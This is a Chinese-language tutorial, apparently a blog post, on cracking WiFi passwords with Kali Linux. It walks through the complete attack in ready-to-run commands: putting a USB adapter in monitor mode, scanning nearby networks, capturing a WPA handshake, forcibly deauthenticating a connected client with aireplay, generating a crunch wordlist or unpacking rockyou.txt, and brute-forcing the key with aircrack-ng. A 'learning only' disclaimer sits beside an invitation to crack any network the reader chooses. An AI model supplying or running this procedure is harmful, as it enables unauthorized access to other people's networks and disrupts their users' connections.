破解WiFi密码的kalilinux教程(仅供学习使用)(严禁商业使用,仅限个人学习)
一、安装kalilinux
首先,请参考我之前的博客中的kalilinux安装教程,详细了解如何安装kalilinux。安装完成后,您可以继续按照下面的教程进行操作。
二、开始破解!
2.1 破解前的准备:
-
准备一个无线网卡(请注意:要选择免驱动的USB网卡),您可以在淘宝上购买,确保支持网络监听功能。
-
已经安装好的kalilinux系统。
2.2 开始操作
2.2.1 插入网卡并将其连接到虚拟机。
按照下图的指示找到您的网卡,并点击连接。如果已经连接上了,会显示断开连接的提示。
2.2.1.2 验证网卡是否成功连接到虚拟机
如果右下角出现如下图标,则表示网卡连接成功。
2.2.2 检查网卡是否支持监听模式
输入以下命令:airmon-ng
该命令将列出当前检测到的可适配网卡。我的网卡显示为rt2800usb,可能与您的有所不同。
2.2.3 将网卡切换至监听模式
输入以下命令:airmon-ng start wlan0
该命令将网卡切换至监听模式,请稍等片刻。
2.2.4 检查是否已成功切换至监听模式
输入以下命令:ifconfig或iwconfig
效果如下图所示:
如果出现wlan0mon,则表示监听模式已启用。
2.2.5 扫描当前区域的WiFi信号
输入以下命令:airodump-ng wlan0mon
该命令将列出当前区域内的WiFi信息。
按下Q键或Ctrl+C可以停止扫描。
2.2.5.1 可能会出现无法扫描到任何网络的情况
如果出现这种情况,请建议重新从头开始执行操作,或者拔出网卡再重新插入,然后再次执行操作,通常两到三次即可解决。
2.2.6 选择要破解的WiFi
在这里,我选择了我的WiFi,名称为cmcc-qnch。
您可以选择您想要破解的WiFi。
第一列是MAC地址,稍后会用到,您可以复制下来。
我这里的MAC地址是3C:E3:E7:61:AF:2F。
另外,后面有一列名为ch的是网络信道,请记下,稍后会用到。
我这里的信道是7。
2.2.7 准备抓取握手包
输入:airodump-ng -c 7 -w wifibao.cap –bssid 3C:E3:E7:61:AF:2F wlan0mon
-c指的是信道,就是上面让您记住的。
-w指的是存放握手包密码的文件。
–bssid指的是MAC地址。
最后加上当前网卡的名称。
请稍等片刻。
2.2.8 另开一个终端,开始强制用户断开重连,以获取握手包
输入:aireplay -0 10 -c D6:8D:4F:8F:C3:1A -a 3C:E3:E7:61:AF:2F wlan0mon
上述命令中:
-0指的是断开重连,获取握手包的次数。
-c指的是当前连接此WiFi的用户的MAC地址。
-a指的是路由器,即您之前获取到的MAC地址。
2.2.9 成功抓取握手包
如果出现上述情况,则表示抓取成功。
2.2.10 开始创建密码字典
输入:crunch 8 8 -t cubmsgk% -o 1.txt
第一个8表示创建密码字典的最小位数,第二个8表示最大位数。
-t表示按照指定格式生成密码字典。
-o表示将字典输出到指定文件夹中。
如果不想自己生成字典,可以使用kalilinux自带的字典。
首先解压:gzip -d /usr/share/wordlists/rockyou.txt.gz
解压完成后,就可以使用了,请记住路径。
2.2.11 运行破解程序
输入:aircrack-ng -w 字典路径 握手包路径
请稍等片刻。
密码将会显示在”key found”中。
至此,破解成功!欢迎大家学习,如果有任何问题,请在评论区留言告诉我!